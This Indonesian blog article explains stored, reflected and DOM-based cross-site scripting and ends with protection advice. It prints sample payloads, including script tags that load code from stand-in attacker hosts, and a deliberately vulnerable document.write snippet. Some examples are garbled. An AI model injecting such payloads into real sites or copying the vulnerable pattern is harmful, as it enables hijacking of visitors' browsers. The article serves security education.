Jenis Serangan Cross-Site Scripting (XSS).
Diterbitkan: 2022-11-04Dalam artikel kami sebelumnya tentang WordPress dan Cross-Site Scripting, kami mengambil pandangan tingkat tinggi tentang jenis serangan ini dan bagaimana Anda dapat mencegahnya. Pada artikel ini, kita akan mendalami beberapa detail bersama dengan beberapa contoh skrip lintas situs. Ayo pergi!
XSS yang gigih
Persistent XSS (atau XSS yang disimpan) adalah salah satu jenis utama skrip lintas situs. Disebut persisten karena apa yang disuntikkan penyerang disimpan di server secara permanen untuk digunakan nanti. Setiap kali pengunjung membuka halaman tertentu, kode dijalankan oleh browser saat memuat atau saat fungsi tertentu dipanggil.
Contoh XSS Persisten :
Katakanlah di bagian komentar di bawah kiriman, seseorang memasukkan skrip peringatan bersama dengan jawaban/pendapat sederhana.
Great solution! It works for me.<script>alert("Some text message")</script>
Jika bagian komentar rentan dan komentar yang dikirimkan tidak dibersihkan, maka kode ini akan disimpan di database. Akibatnya, sejak saat itu, setiap kali halaman dimuat (oleh siapa saja) dan "komentar buruk" terlihat bersama dengan semua komentar, jendela sembulan akan muncul dengan pesan tersebut.
Tentu saja, pesan peringatan mungkin mengganggu tetapi tidak terlalu berbahaya. Namun, apa yang terjadi jika penyerang menyisipkan skrip berbahaya alih-alih pesan peringatan seperti ini:
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
Alih-alih munculan yang mengganggu, pengguna akhir akan mengalami serangan XSS. Kerusakan akan tergantung pada jenis kode yang dieksekusi. Itu sebabnya serangan XSS Tersimpan dianggap sangat berbahaya. Mereka menyerang setiap pengguna dan bahkan tidak memerlukan masukan apa pun dari pengguna (bar membuka halaman di tempat pertama).
XSS Non-Persisten
Meskipun tidak berbahaya seperti XSS persisten, XSS non-persisten (atau reflektif) masih bermasalah, paling tidak karena dianggap sebagai jenis serangan skrip lintas situs yang paling umum.
Pada dasarnya, apa yang terjadi dalam serangan XSS non-persisten adalah pengguna akhir mengklik tautan jahat yang akan mengirim mereka ke situs web lain yang akan memicu eksekusi kode yang buruk. Serangan dilakukan melalui parameter URL atau HTTP yang dibuat dan tidak disimpan secara permanen di database seperti di Persistent XSS.
Namun sebelum melakukan serangan non-persisten, penyerang harus mengidentifikasi apakah sebuah situs web rentan terhadap serangan XSS. Salah satu cara untuk melakukannya adalah dengan menggunakan mesin pencari internal situs web. Jika Anda memasukkan sebuah string, katakanlah "sepatu" untuk mencari dan menekan tombol, sebuah fungsi dijalankan seperti ini:
http://exampledomain.com?query=shoes
Namun, sebelum fungsi berjalan, string yang Anda masukkan disanitasi, atau setidaknya seharusnya demikian, sehingga formulir pencarian aman dari masukan berbahaya.
Penyerang dapat menggunakan formulir pencarian dan mencoba memasukkan skrip seperti ini:
<script type="text/javascript">alert("vulnerable");</script>
Jika formulir tidak dibersihkan, itu akan menjalankan fungsi secara normal:
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
Ini akan (dalam contoh ini) menghasilkan popup peringatan yang ditampilkan. Ini adalah saat penyerang mengetahui bahwa formulir pencarian memiliki kerentanan XSS.
Contoh XSS Non-Persisten
Jika kerentanan ditemukan di situs, penyerang mungkin memilih untuk membuat URL yang terlihat seperti ini:
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
Mereka kemudian 'menutupi' URL sehingga tidak terlihat seperti tautan 'buruk' dan mencoba mendorong orang lain untuk mengkliknya. Biasanya ini mungkin saya mengirimkan email spam atau mungkin menyertakan tautan di forum.
XSS Berbasis DOM
Selama insiden XSS (atau XSS sisi klien) berbasis DOM, serangan diteruskan melalui URL yang berisi kode berbahaya.
Ini juga dianggap sebagai kerentanan sisi klien karena dieksekusi di browser korban, tetapi yang terjadi di sini adalah bagian dari DOM diubah, yang menyebabkan klien menjalankan kode, tanpa persetujuan mereka.
CATATAN: Model Objek Dokumen (DOM) adalah antarmuka yang menentukan struktur tata letak halaman web dengan menghubungkan bahasa skrip ke halaman web yang sebenarnya. Untuk mencapai hal ini, pengembang dapat mengakses dokumen dan menjalankan operasi untuk memperbarui konten.
Contoh XSS Berbasis DOM:
Contoh serangan skrip lintas situs berbasis DOM dapat didemonstrasikan dengan formulir yang memungkinkan Anda memilih opsi, seperti negara tempat tinggal Anda. Mari kita lihat bagaimana hasilnya dengan contoh di bawah ini:
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
Jadi, halaman dengan opsi yang dipilih dalam formulir dapat diakses melalui URL seperti:
http://localhost/?country=Lithuania
Tetapi jika Anda mencoba entri seperti ini (lihat di bawah) maka browser akan membuat objek DOM yang berisi string tersebut dan menjalankan skrip.
http://localhost/?country=Lithuania
Itu terjadi karena formulir tidak terlindungi dan kode awal tidak siap untuk markup HTML apa pun. Jadi yang dilakukannya adalah menarik DOM ke halaman dan menjalankan skrip berbahaya.
Serangan XSS terlalu umum. Cara sederhana untuk melindungi diri Anda sebaik mungkin adalah dengan selalu memperbarui plugin di situs web WordPress Anda dan menggunakan host berkualitas tinggi. Kami harap contoh-contoh ini memberi Anda gambaran tentang cara kerja jenis serangan ini dan apa yang harus diwaspadai!